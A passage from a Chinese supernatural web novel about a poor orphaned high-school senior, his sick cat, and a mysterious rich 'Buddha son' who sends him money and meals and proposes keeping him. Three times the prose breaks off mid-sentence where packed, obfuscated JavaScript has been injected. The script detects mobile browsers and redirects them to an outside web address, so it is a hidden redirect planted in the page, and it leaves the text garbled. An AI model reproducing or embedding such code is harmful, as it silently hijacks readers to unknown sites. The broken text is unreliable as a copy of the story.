施霜景现在穷得胸口疼。玉米的住院费每天就雷打不动要交50块。就算出来打周末的奶茶店工,日结300块里有至少20块都要用作交通费,这还是最省钱而相对耗时的花钱法。从十八岁离开孤儿院,施霜景什么工都打过了。 对他而言,穷是过分具体的疲劳感觉,每天出卖劳力和时间换来的钱,用来货比三家、从一半的价格开始砍价,兑换成刚好维持生存的能量,钱永远维持在一个脆弱的平衡上——如果身体健康,会有一点结余;如果身体不健康,那就是极限运转也贴补不过来。 就像现在的施霜景,周末打工,早上六点就得起床,晚上十二点半才能睡下。要是当时没交那笔补课的费用就好了。施霜景又想翘掉晚自习了,要不要再问问那家菜鸟驿站,他还能不能晚上过去兼职。没钱,真的一点钱都没有了,到现在为止,微信还剩338元,到下个星期六为止,光玉米的住院费就又要扣掉300……还有他治疗干性传腹的药物…… 深呼吸,深呼吸……那噩梦算什么呢?噩梦只要醒来就会过去,可是穷却是伴随着醒来的时时刻刻。 一剑霜寒:我说了我是男的 一剑霜寒:这是我第一次住这么厉害的酒店,可是我真的没钱,我要去打工了 一剑霜寒:如果你不回我,我就当你同意我不出房费了 [空白]:对方正在输入中…… [空白]:你脾气太差了。 一剑霜寒:为什么这么说?我都没见到你,我对司机也很礼貌…… [空白]:滚吧。 施霜景看着手机,发现对面的佛子竟然打字都不会落下标点符号,打字时快时慢的。好吧,他关注点有些错误。太好了,不用付房费。施霜景大松一口气,下巴埋进膝盖,这附近有地铁站,他可以晚点出门,不用像在家里那样起得非常早、赶好几趟车。这个佛子竟然让他免费住一晚五星级酒店,人还蛮好。 一剑霜寒:我能借用一下浴室洗个澡吗 [空白]:对方正在输入中…… 一剑霜寒:你今天还来吗 一剑霜寒:我能不能七点一刻再走 [空白]:还不去洗澡?为什么要问我? 一剑霜寒:因为这是你的房间 一剑霜寒:谢谢你 做一晚上噩梦的施霜景扒着自己的衣服,浴室太温暖了,温暖到有点让人想哭。不是说施霜景真的想哭,就那种雾气弥漫的感觉……施霜景的语文学得不好,也就这个形容水平了。就连浴巾和手巾都热热的。真的,能洗个澡再走也很幸福。如果这位佛子有别的忙需要施霜景来帮,施霜景会很乐意的。 镜子里映出施霜景晒得分色的身体,躯干相比四肢要白得多,他名字里带个“霜”字,肤色底色是白的。施霜景站进隔间,高档酒店的水压真是令人舒心,施霜景望着黑色的莲蓬头出神,有人说莲蓬头的形状其实很恶心,这些密密麻麻的出水口……但施霜景粗线条粗神经,热水澡真好啊。 [空白]:[转账1000元] [空白]:早餐券在桌子上 施霜景冲了一个长达二十分钟的淋浴,手指都起了皱皮。浴袍……这还是第一次穿呢……施霜景出来,看见对方发起的转账,还觉得自己是眼花了。为什么要给他转钱?这人到底是佛子还是散财童子? 一剑霜寒:为什么要给我转账 一剑霜寒:刚才有人来过吗?我没有听到声音,我昨天没有看到什么早餐券 [空白]:我心善见不得穷人,洗完了还不滚? 一剑霜寒:…… 一剑霜寒:谢谢 一剑霜寒:[已收款1000元] 一剑霜寒:其实我会唱歌。我不能白白收你的钱。你要听我唱歌吗? [空白]:…… 一剑霜寒:一首歌两块钱,我会连续五百天给你发歌,可以吗? 施霜景单手用浴巾擦拭着头发。他真的没有更多的时间去给人打工了,除非不上学。他能不能卖唱呢?这真是个天才般的想法啊!施霜景兴致勃勃地输入,希望这能成为他的新生财之道…… [空白]:不需要,你唱歌很一般。 [空白]:我只接受卖身。 一剑霜寒:那好吧 一剑霜寒:还是谢谢你 一剑霜寒:我寒假打工拿到工资就会还你 施霜景拿着早餐券,白天的高楼酒店在晨光中苏醒,气势与威严满满泛上来,压得施霜景开始有些喘不过气。本来昨晚就应该感受到的压迫感,硬生生推到今天。施霜景其实这辈子也就只有两次住酒店经验,这是第二次。第一次是和今年夏天和网上练歌房的朋友见面,他们一起去爬了峨眉山,山上就有酒店。和施霜景住同一个标间的叔叔是厨师,听说施霜景连酒店都没住过,教他进门要在墙上找卡槽,可以在衣柜或是床头柜底层找到一次性拖鞋,酒店的毛巾哪些是用来垫脚、哪些又是用来擦身……如果不是佛子提到早餐,施霜景根本不敢想五星级酒店的早餐。 坐在电梯里,施霜景双手紧紧攥在一起,眼睛盯着小屏幕上的楼层数字。 到了餐厅那层,施霜景忽然看见认识的面孔——司机。 “太好了,还以为你不来呢。”司机笑了笑,“佛子让我陪你吃早餐,他说你有点紧张。” “……” 这佛子怎么知道的?能隔着屏幕读心吗?施霜景忍不住地头冒好几个问号。 “玉米的情况还比较稳定,你今天要不要来看看它?” “我会的!我打工下班比较晚,你们真的是二十四小时开门吗?我可能会十二点左右才到。” “这么晚啊……没关系,护士在的。” “嗯!谢谢!” 数不清今天在上班前就已经说了多少句谢谢,可施霜景觉得,昨天来这个酒店的选择其实还是很正确的!就算要找人借钱,也得有可以借钱的对象才行啊。他不好意思开口向网上练歌房的朋友借钱,正因为施霜景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417914|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他们都当朋友,反而不好开这个口。这位佛子虽然奇奇怪怪,但应该是真的有钱人。施霜景对有钱人的观感很微妙,动不动就转账一万块包人一晚的人,十分之一的钱就可以让一只小猫咪住院二十天,那还是住院比较划算吧?施霜景颇有种替人花钱做了正事的奇怪逻辑。不过他肯定是要还这钱的。施霜景不愿意亏良心。 施霜景不知道,他离开那金尊套房后,从天花板到墙壁再到地毯,灰粉香槟色全部褪成明净的蓝色,然而这蓝色明净光辉到某种程度,却让人怀疑这光泽不属颜料也不属金属,而像是某种奇异的油层。不是颜色的问题,而是画布本身。唐卡的蓝,唐卡的结构,却不见神佛。天花板尤其是唐卡构图,诸天神宫、花草、神兽、光轮理应围聚中央的金刚,如今却只剩光秃秃一块花纹绝美的背板。 在五星级酒店吃早餐自助,一顿给施霜景撑到了晚上。司机先生一开始还能鼓励他多试试不同东西,吃到后来司机都不得不担心施霜景会不会把自己吃吐了。 托这顿异常满足的早餐的福,施霜景今天上班倒是元气满满。男高中生好就好在少睡两个小时也不碍事。晚上同事问施霜景要不要一起去吃火锅,施霜景实在挂念他的猫,快两天没见到玉米,玉米也快两天没见到施霜景,不能因为害怕面对宠物生病的事实就逃避不去。 “玉米,玉米,看看是谁来了——”护士拖着疲惫的尾音,带着施霜景进宠物病房。她和医生都怕施霜景其实是想把玉米扔在医院就跑,这年头这样的年轻人到处都是。今天看见施霜景风尘仆仆赶过来,护士又有些愧疚,怀疑这样的男高中生真是让人愧疚。 玉米睡在最上层的铁笼里,看见施霜景,原本趴卧着的玉米撑着站起来,脑袋凑到铁门前。施霜景有些鼻酸,伸出手指戳戳玉米的脑袋,看见玉米手上的埋针,是输液用的。 护士说,先治疗一周,然后再抽血看看白球比。如果白球比有所回升,那说明就是干性传腹,药是对症的,可以把玉米带回家,让施霜景自己扎针。 “弟弟,你跟姐姐说句实话,为什么只有你来看玉米?你家人怎么不来帮个忙?”护士姐姐坐在护士站,凌晨了拉住英俊的男高中生聊天。 “我一个人住。”施霜景道。 “那钱也是你自己的吗?” “嗯,我自己打工赚钱。” “真的假的?高中生能出去打工吗?高几了?不会告诉我你高三吧?” “嗯。” “高三生不好好上学,出去打什么工?!” 不打工的话就没钱给玉米治病啊。施霜景腹诽道。况且他学习非常不怎么样,如果分数只能去读民办的大专或者二本,那施霜景也不会去读的,学费都出不起,估计就是全职去跑外卖或者送快递吧。所以不论怎么样都得打工的,现在说不定还是在积攒经验。 “小弟弟这么帅,不去开个直播?” “烧手机。” “哦……” 护士想,真是惜字如金的男孩子。这性格大概也干不了直播。 施霜景今天回家的时间破了晚归记录,两点才到家。 打开门,看见客厅的沙发和电视,昨晚做的噩梦又翻腾上来,一地血和一尊佛。施霜景下意识扭头,看见那座佛龛。太累了,起初这佛龛存在的事实压根没进施霜景的脑子,是他脱了鞋,再次抬头,再次看见佛龛,看见一根香点燃的红点。 施霜景突如其来一阵胃痛。 不知道是给吓的还是暴食吃出了问题。总之,现实生活中见到凭空出现在家里的佛龛,施霜景真的只差一点点就吓尿了。不是夸张。他胆子没有那么大。 5. 你是我很满意的祭品 施霜景在这个家住了两年多,这个位置有没有佛龛,难道他自己还不清楚?只是出门一晚,回来家里凭空多出一个宗教意味的物事,又是半夜两点,魂硬生生吓掉半条,半天回不了神。 一根独香像是才点燃的样子,还剩得多,香炉里没有其他残香或者香根,像是才将启用,但香炉本身又看上去有了年头,浮雕沟壑里嵌着经年的灰粉与油脂。施霜景认不出来这佛龛材质是上好的紫檀,但认得出这雕刻精美异常,光样式都非同一般。六方亭,须弥座,佛坐中央,栩栩如生,走近了看这佛龛,仿佛自己置身佛塔正当供奉中,明明只是高二十厘米的佛像,站于其前,却有顶天立地、向上仰望之感。 施霜景还不知道的是,他看上去是黑铜佛,实际是铜鎏金。可能因为这尊佛像小,和当时他在梦中拳打脚踢、爆揍一顿的佛像相比,这座小佛像的鎏金更光洁、崭新、耀亮,像是舍得花钱了的样子。一时间施霜景并没有识得这佛像究竟眼熟不眼熟,好像梦里的记忆被鬼遮眼了,况且各路神佛在他看来都是一副相貌,不请自来都一样的恐怖。 明早还要上课。疯狂的高三生。 施霜景深呼吸,不知道是要拜还是不要拜,一想到今天突然“借到”1000块,可能是哪路神仙给施霜景吹了一口仙气吧,至少今晚能好好睡觉了。施霜景这么想着,心无杂念地对着佛龛双手合十,深深一拜,这就睡觉去。 第二天早上闹钟响起,房间冷得像是冰窟。施霜景睁开眼,他也是人,在十一月的早晨天不亮就早起也会很想死。六点的闹钟,六点过五分,施霜景在被窝里摸索着找了衣服、裤子穿上。其实只要不交这一笔3000块的补课费,施霜景压根不会这么捉襟见肘。去年这时候他还给自己和玉米买了电热毯,他去上学之后,玉米会钻进还有余温的被子里继续睡觉。 施霜景一晚上没睡好,总觉得身上很痒,不是过敏或者被虫子咬的痒,而像是被人用牙细细密密地啃……像小孩子的牙。不知道为什么,施霜景连场景都想象出来了,刷牙时一个激灵,吐掉口中牙膏沫。 好累,好想休息。 作业完全没有写。 ……早读的时候去抄吧。能抄多少算多少。做不完的拉倒了。 施霜景这么想着,混沌着脑子给自己煮挂面,打了两个鸡蛋,再浇上一点自己炒过的油辣椒。他端着碗站着吃面条,眼神时不时还往那佛龛上晃,昨晚那根香已经燃尽了,留了一截香根插在灰里。 白天的时候发微信问问房东吧。施霜景想。说不定是房东家里出了什么事,突然信佛了,只不过没来得及通知他。 励光厂高中,曾经是厂院子弟读过的学校,世纪之交的时候还送出过不少重点大学的学生。随着经济的转移和政策的调整,现在的励光厂高中已经没落成最普通的高中,每年高三生能顺利读上本科的都寥寥。 3000块的补课费,对许多家庭来说可能什么都不算,对补课的老师来说可能也是收了最低价,但这对施霜景来说是很大一笔钱,最开始他甚至都不打算交的,是整个暑假都打工过去,老师再来劝他,说原本包含暑假是要交5000,现在施霜景应该要抓紧时间跟上进度。老师来劝,同学都无所谓,施霜景在交钱的前一秒,忽然心里以为自己如果好好补课,说不定真的能上大学。现在就有些后悔。大学啊。好近又好远的词。 交了补课费,就可以参加高三生每天晚上一个小时的专科辅导以及周六、周日的补课。施霜景以前就不怎么上晚自习,他不是不想上,是他在工人俱乐部附近的菜鸟驿站找了晚工,晚上六点到十点,理货、待客、送团购菜上门,日结30块,周六再上一天的话可以拿到50。这是施霜景上学期间为自己攒钱的唯一渠道。 七点早读,施霜景六点四十就抵达了班级,班上那时候还只坐了几个女生,她们在班上已经是前几名,但一分一秒都不敢松懈。施霜景去借了作业来抄,他当初为了方便抄作业才选了理科——选文科的话,太多字了,抄半天也抄不完。 抄完作业,施霜景心里愧疚地跟上语文早读的进度。这么多科里,他唯一能拿到一点点分数的只有语文。理科的所有学科,数理化生,上了高中后,几乎连各个学科的第一本都没学完就已经看不懂了。 班上前两年装了空调,是一位复读上了重本的学生家长捐的,说是学校的校风好,老师也比较负责,就给高三生的班级每个班捐了一台。施霜景自己的家里装了空调,可他从来不开。现在天气还没冷到需要开空调,施霜景到底是血气方刚的二十岁,半趴在桌子上盯着古诗,想些有的没的。 上学的日子其实比打工轻松太多。这也是施霜景向往读大学的原因之一。 早上不含早读一共五节课,中午十二点二十放学,施霜景回家吃个午饭,洗了两件衣服,下午一点半开始上课,上到五点四十,四节课加一节自习。下午施霜景抓起书包,坐公交去看玉米,听说今天玉米又吐了,趴在笼子里不愿意动弹,昨天都还乐观的江医生,今天也不敢说乐观的话了。 晚上施霜景坐公交赶回来,上晚自习的所谓“专科辅导”。已经是高三的十一月份,那些参与了补课的学生,不管他们有没有跟上,这已经是第二轮复习教材。但对施霜景来说,这是他的第一轮。他想抓住这个机会从头学起,晚上数学老师在专训立体几何,施霜景只会用量角器量。 “施霜景,我们晚上去吃烧烤,来不来?”班上的男同学喊住施霜景,晚上九点半下晚自习,要想自习的还可以在学校留到十点半,有些不想学的就可以抓上书包回家。这些男同学看施霜景收书包,随口一邀请。 “不来,没钱。”施霜景直截了当地拒绝了。 “你那么好心做啥子嘛?都跟你讲咯施霜景没得啥子钱。”另一个男生嘲笑那个邀请施霜景的男生,“你要问也换个有钱的问,蹭又蹭不到施霜景的。” 原来是找人请客,请你们吃拳头还差不多。钱是一分都没有了。施霜景单肩背着书包,他想去问问那家菜鸟驿站,最近还收不收人。 “不好意思啊小景,我儿子今年不是高考考撇了嘛,让他复读他又不去……现在就只能让他在家帮忙照顾一下菜鸟驿站。我们不用招了。”菜鸟驿站的老板娘指了指桌上的二维码,让退货的客人自己填单,嘴巴这样回着施霜景。 “王阿姨,那还有没有别的工可以给我介绍一下?”施霜景心里默默失望,面上一点不显,镇静地问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417915|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“现在经济形势差,都不缺干体力活的人了。而且你不是高三吗,出来打什么工?” “没米下锅,上学也得有钱吃饭才行。” “那么惨啊?但我这里确实没有别的法子了,你去街上再问问?” 老板娘招待完客人,又进货房去取件。施霜景看到中年人弯着腰在地上找自己的团购菜包裹,施霜景顺口问了客人的电话尾号,蹲下确认团购菜,拎起一包递给中年妇女。 出了店门,放眼望去,萧索街道上尽是卷下的铁帘门,贴着翻飞的白纸,旺铺转租,出售,低价出售。励光厂算是小镇,剩下能开的店基本都是餐饮,但餐饮更是小本夫妻生意,不会招人。施霜景十八岁那年曾经打工的网吧也早就倒闭了。 好沉重。被钱压得喘不过气来。马上又要交这个月的水电煤气费了。施霜景忍不住挠挠自己的眉心,网上练歌房的微信群在闪着消息,他点开自己的K歌账号主页,用着古风头像,叫一剑霜寒,会发布一些翻唱歌曲,但施霜景自己都知道,说不定唱得真的很不怎么样。没有技巧,甚至可能没有感情,全是瞎蒙,乱唱。能在调子上,但说不上好听。 回到家,本应该写作业,但施霜景难受,心里难受。对玉米的担忧如今才迟迟来到。晚饭都没吃,施霜景看望完玉米,在回程的公交上闭着眼,仿佛能想起玉米蜷缩在他怀里的触感,抚摸橘猫毛皮的温顺,活物对人心的安抚。一想到玉米可能会死,施霜景真的很失措。 学不懂的习,死到临头的高考,施霜景点开班主任的微信,斟酌着,他想要回补课费用了。哪怕还给他一半都好。穷的感觉转化成呕吐欲,顶住胃和食道。中午放学时顺便去菜场买了菜,幸好猪肉跌了一点价。发完消息就去做饭。 可惜施霜景太不会组织语言。网上练歌房的小亚曾经说过,施霜景打字的时候冷冰冰的,总是像要跟人吵架,有什么事还是打电话或者当面说比较好。还是明早去找班主任面聊吧。现在十一点了,太晚打扰别人说不定更不可能拿到退款。施霜景想。 施霜景安抚了一下自己的抑郁情绪,拉开冰箱,忽然发现一个不该出现在他家冰箱的东西。 精美的食盒,三件套。纸盒上放着熟悉的暗金云纹底卡片,空无一字。 施霜景攥着手机,忽然发现屏幕亮了。 [空白]:以后每天晚上吃我送的东西。 一剑霜寒:…… 一剑霜寒:你能进我家? 一剑霜寒:墙上的佛也是你搞的吗? 一剑霜寒:你这样真的很吓…… [空白]:我会再给你一次机会,或者两次。 [空白]:你是我很满意的祭品。 神经病。施霜景拿出食盒,竟然是打包的牛排、意面和甜点,酒店餐。神经病……这个叫佛子的是不是中二病?掀开盖子闻了闻,香得施霜景眼睛微微睁大,立刻送进微波炉。 家里的门锁没有坏啊,施霜景今天还回过家,开门毫无异常,中午的时候还没见到这些食物来着。 一剑霜寒:有病治病 一剑霜寒:你到底怎么进我家的? 施霜景用筷子夹起牛排直接啃,单手打字非常硬气,实则非常心虚。 6. 一周后酒店老地方见 “施霜景,你是真的不打算考大学了么?”班主任边用酒精棉片擦眼镜,边说道,“好不容易盼到你同意补课,你现在又说不补课了?退钱是小事,你到底怎么想的?这大学还考不考?” “我家人出了点事,要钱治病。”施霜景一字一句道。 班主任露出疑惑表情,“你家不是……” 施霜景直截了当地承认了:“是我的猫,我的猫生了重病,我需要钱给它治病。我身上不能一点钱都没有,不然这个冬天就连我都不好过。” “猫?你还养猫?那你的钱肯定不够啊!养这些小畜生……花多少钱都不够!” 办公室里其他老师也支着耳朵听,施霜景的班主任一听说不是人生病,马上又理直气壮起来,“是猫重要还是你的前途重要?你翘掉晚自习也是为了去打工是不是?福利院或者其他单位没给你争取到生活费吗?我不是听说你一年有两千多块吗?” 施霜景冷冷地望着班主任,他不喜欢班主任用这种语气来数落自己的生活,施霜景说:“两千多除以十二个月,一个月两百块,张老师,你一个月能靠两百块活?” “你这什么态度?!” 施霜景双手插兜,他也无语了,他不愿意去揣测别人有没有穷过,但显然有人完全没有同理心。“你说退钱是小事,那能不能把钱退给我?” “你去找年级组长说吧,这事不归我管。” “……”那你说个屁?浪费时间。 施霜景拎起地上的书包,单肩背上,就这么出了办公室。年级组长在哪个办公室?不然,去校长办公室?不巧的是,上课时间快到了。 班主任没有放过施霜景。上第三节物理课时,班主任花了整整半节课的时间含沙射影,话里话外让学生不要在这个阶段接触玩物,什么宠物啊、游戏啊、小说啊,他还要在家长群里发消息,建议家长好好考虑孩子的未来,不要在这阶段养什么宠物之类的来分孩子的心,委屈这一年,幸福这一生。施霜景在物理书上画乌龟,不想听这些。施霜景连家长都没有,用自己的微信进家长群。你发就发呗,我没有家长。 施霜景对医药费本来就执着。 他的父母都是因病去世。母亲走得早,在施霜景两岁那年就因为胰腺癌去世。小孩三岁以前的记忆几近于无,施霜景不记得母亲的脸,但他一直记得母亲身上有一股很好闻的薰衣草香。爸爸往丝袜里装了很多薰衣草,塞进衣柜里给妈妈熏衣服,后来施霜景伶仃流落,小书包里就一直装着早已散去味道的薰衣草包。 父亲在施霜景六岁那年肝硬化出血走了,施霜景清楚地记得爸爸到处凑钱给自己治病,钱凑不到,病治不了。爸爸快死的时候,皮肤黄得像玉米面,最后几天肝性脑病发得厉害,连施霜景都认不出。施霜景一直守在床边,集体病房里的其他人都说这个小孩可怜,施霜景开窍比较晚,爸爸说“不用担心”,施霜景就不担心,傻愣愣的。直到父亲过世那天,医生护士进来做抢救,科室知道施楼庭唯一的亲人只有这个六岁小孩,抢救失败,医生宣布死亡时间,护士长去专门联系了警察,让警察帮忙调查,这才找到了施楼庭的远房亲属,让他们代施霜景处理施楼庭的后事。 施霜景的远房表姑接走了施霜景,但对施霜景很不好。他在离八岁还有一个月的时候,受不了表姑家的冷待和监禁,找到机会背上书包离家出走。说施霜景老实或者傻愣也不完全贴切,他一路辗转,破破烂烂地跨越好几个县镇,那些大巴车的司机看到这样一个灰扑扑的小孩说要去找爸爸妈妈,大部分人还是很有善心,愿意捎他一程。某天夜里,施霜景在一个县城的客车站里生起病,好几个夜班大巴的司机看不下去,送他去医院……后来真是好一通扯皮耍赖,施霜景和表姑相互不认,这才让施霜景符合了福利院的收留资格。 施霜景用了好几个课间去找年级组长,没找到人。校长办公室的门常年紧锁,施霜景甚至不知道他们学校有没有校长。一天就这么浑浑噩噩地过去么?钱不等人。施霜景下午放学前再去找班主任打商量。 “退全款是不可能的,而且这些钱都已经入账了,别说今天,这周都没法退给你。”班主任理所当然地耍横,他一个中年男人难道会怕这么一个高中生么? “可以先退我一半。” “哪有这样一半一半退款的?你能拿到一半就不错了。” “我把钱交给你们,但是我还一次都没有上过这些所谓的补习。就算上过,你扣掉课时,一笔是一笔。”施霜景平静道,“你们都知道我家的情况,上不上得了大学是明年的事,我很有可能今年都过不下去。我连过年买肉的钱都快没有了。” “离过年还早着呢……” 施霜景面上不显,心里相当愤怒。这世道就是这样,别人不会因为你倒霉或是悲惨而少抢你一块肉。相反,他们抢得更心安理得。如果你反抗,他们就会呼朋引伴,团围你,群殴你。如果你忍气吞声,他们下次还敢。 这一刻,施霜景认真地在思考,如果他去威胁一下班主任的小孩,班主任会不会重新考虑?不行。施霜景立刻在心里摇头。首先,这不是一个好的解决办法。其次,如果他这么做了,他就会被送进励光厂派出所。如果他被拘留,就真的没人能顾上玉米了。穷人就是要出卖脸皮去求人少割自己的肉,孤儿则是连报复都小心翼翼。施霜景很难过,觉得很没尊严。上学都如此受辱,去社会上也是一样。 施霜景带着一身晦气回家。 佛龛前静静燃香。施霜景放下书包,鬼迷心窍地凑近佛龛,双手合十,许愿玉米今天情况有所好转。他不知道是谁点的香,这真的有点恐怖了,可施霜景对佛像说:“如果我每天敬香,你能不能保佑我?我真的……太不顺了。所有事情都太不顺了。” 佛像当然不会回答他。 虔诚许愿完,施霜景忐忑地给宠物医院的江医生打电话。 “玉米今天只吐了一回,精神头还是有些差,但它会主动吃罐头。”江医生说,“你下次来的时候多带点罐头吧,这时候猫猫能吃东西就是好的。” “好的……谢谢医生。” 玉米的猫罐头剩得不多,带去医院的已经是全部。施霜景挂断电话就打开购物软件,熟练地下单猫罐头。他看见自己的微信余额,又想起那个纯黑头像、空白名字的佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417916|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,想起人家好心给他的一千块。 对了,冰箱……冰箱。 佛子让他每天晚上只吃佛子送的东西。今天送了什么?施霜景满怀期待地打开冰箱,新的餐盒,依旧是三层。施霜景取出来,一层一层打开。 第一层是隔开的两道菜,笋干烧肉和百合炒西兰花。施霜景是西南人,一看这菜怎么没辣啊,心里一咯噔,打开第二层。第二层竟然是辣炖猪蹄。施霜景眼睛亮了。第三层是米饭,稍稍有点降低惊喜感。施霜景家里有煮好的米饭啊,干嘛还专门送饭呢。 施霜景将菜拨进家里的碗盘,再送入微波炉。他真的不知道这人是怎么拿到钥匙、进他家门的,也想过这些菜里会不会有毒,可施霜景脑子笨,脾气直,有人对他好,他就觉得死了也拉倒,而且他不愿意相信有人会给他吃的但要他死。 摆好一桌菜,施霜景在开动前心带感激地拍了照,发给佛子,有点像是在打卡完成任务,表明自己确实有在认真吃对方送来的东西。 一剑霜寒:[图片] 一剑霜寒:谢谢你的晚饭! 昨天施霜景看见佛龛、打开冰箱只有惊吓,语气也不好。今天他受学校和老师的磋磨,装酷是很累的,回到家不用自己做饭,有人准备好现成的晚餐,色香味俱全。笋干烧肉,施霜景都不记得上次吃这道菜是什么时候了。他甚至认不出和西兰花放在一起炒的白色脆蔬是什么。辣炖猪蹄很好吃,猪蹄切成小块,炖得软烂脱骨。施霜景大口地扒米饭,是没吃过的珍珠米。 吃着吃着,施霜景忽然眼睛一湿。他放下饭碗,正想去找纸擦眼泪,这雨滴一样的眼泪就垂直地落进米饭里。施霜景一愣,眼泪便止不住了。 施霜景流眼泪的时候仍然表情不多,能哭得这么木的人也是少见,好像眼泪是滴多了的眼药水、跟施霜景本人无关似的。 抽纸擦泪擦鼻涕,施霜景定神,继续享用美食。 微信对面的人一直没回施霜景。施霜景吃过饭,收拾完桌面,终于有时间打开K歌软件,他看见练歌房里还有人在唱。 小亚:“哎呀,小景来啦。我们唱得差不多了,但听你唱两首还是可以的。” 中华小当家:“我不听咯!我老婆喊我带娃娃洗澡!小景你和小亚一起玩可以,高三生早点休息。” 一剑霜寒:“晓得了,王叔你也早点休息。” 中华小当家:“放屁,喊我王哥。” 施霜景对选歌没什么想法,干脆就随机点播,平台最开始推了几首短视频热歌,施霜景听过几次,可是那些原唱嘴巴里像是在炒菜,唱成一锅粥,根本听不出唱的是是什么字,施霜景学不来。切了一会儿,终于切到一首会的,《三国恋》,哎,这就是施霜景的好球带了。他叫“一剑霜寒”,说明他本来就对这些古风歌有兴趣。被人说土也没办法,施霜景清清嗓子,戴上耳机,小亚被他土得大叫,但她还是开心地闭麦,听施霜景唱歌。 唱到一半,施霜景的手机弹出微信消息,施霜景直接错过词。 [空白]:一周后酒店老地方见,我们谈谈包养的事。 [空白]:你唱歌真不怎么样。 7. 特殊体质 这人说话真不好听。施霜景看一眼手机,直接懒得回他。这一天天的,所有人都争先恐后地嘴贱,饶是施霜景的教养再好,心里也难免窝火。算了,想想一千块,想想晚餐。不骂他。 上学的日子过得太快,一晃眼又是周末。补习费没要回来,施霜景去找班主任,班主任就拉来年级主任,一天三顿劝,反正退钱不行,建议还是老老实实补课,大有一副替施霜景死去的爹妈盯住他好好学习的假惺惺模样。 玉米的情况不好不坏,等猫罐头续上之后,玉米果然不负他的橘猫基因,终于乐意吃饭,甚至饭点时会自己守在碗边。这期间施霜景又买了一次治疗猫传腹的药物。 既然找不到晚上可以打的工,施霜景老老实实上晚自习。作业不会做,只能把会做的做了,比如语文。有学生抱怨英语老师使用的复习办法太死板,加上暑期补课,这都已经是第二轮复习了,还让学生抄单词。但这是施霜景的一轮复习,他非常乐意抄这些单词。晚自习时老师会讲专项题,施霜景听不懂,但他抄笔记抄得很认真。嗯,反正课时费是扣定了,不抄白不抄,万一他哪天真的能看懂这些笔记呢。 为了等佛子的晚餐,施霜景在下午五六点钟会只吃半包饼干,反正吃得太饱晚自习就会犯困。九点半下晚自习,施霜景回到家,吃晚饭、洗澡、做家务,等到要睡觉的时候也消化得差不多了,男高中生的肠胃是铁打的。 施霜景这人也有趣,佛子越说他唱歌不咋地,施霜景就越惦记自己那“两块钱一首歌”的生意。佛子从来都没说同意,但很明显,佛子他会听。他真的会听施霜景唱歌。当星期三施霜景意识到这一点时,他就决定好了接下来几天的歌单。这世界对施霜景强买强卖,他为什么不能推销自己两块钱一首的歌? 星期二是《三国恋》,星期三是《长生诀》,星期四是《醉赤壁》,星期五是《牵丝戏》。星期六要打工,晚上踩着十一点五十发布《可惜没如果》。周末不唱古风歌,唱伤心情歌、流行金曲。 今天是星期天。佛子这几天一条信息都没回。 施霜景雷打不动地发送晚餐照,转发歌曲发布界面。佛子就像消失了一样,施霜景只看见手机里光秃秃一片绿,都是自己发送的消息。 还说什么包养不包养的,施霜景看他根本就是在耍自己。上次去酒店是耍施霜景。不过,晚饭到底是怎么送过来的?施霜景吃了五天,发觉这些送过来的餐……每一顿的味型都不同。施霜景没有太多外出用餐的经验,没钱,但他能吃得出这些菜是不是东一道、西一道拼出来的。有些菜明显偏甜,有些菜却只剩咸。就连辣菜的调味也各有不同,麻辣、香辣和酸辣是三种辣,就算是西南人、湖南人和江西人也不会一顿饭里炒出三种不同的辣。 很怪。太怪了。 施霜景暴打着柠檬茶,走神走到天边,一个身着亮蓝色长裙的小女孩忽然吸引了施霜景的注意力。施霜景望过去的时候,小女孩正好也在看他。 小女孩跟着一个男人来的,男人在点单,他们这个奶茶店店面里有几张零落的椅子供顾客和外卖员暂坐。这是在游客观光街,所以他们店里没有准备什么卡座位。施霜景他们备餐的吧台呈“L”字型,小女孩走进店里,爬上高脚凳,看施霜景打柠檬茶。 好亮的蓝色,蓝得很工业。这么张扬的颜色,竟然很衬这个小女孩。她应该只有五六岁吧?施霜景想。 女孩的爸爸点过单,取了号码纸,也走进店里来。施霜景打好了柠檬,转过身继续调配柠檬茶。这份是少糖去冰,去冰和塑封的工序交给女店员,施霜景取了新杯子,继续捶柠檬。 “妈妈,这杯是我们的吗?” “不知道,等等看吧。” 妈妈?施霜景不知道小女孩在喊谁,但为什么是爸爸在回话?这样的想法很快就从施霜景的脑海中划走,打奶茶店的工真的很难不走神。 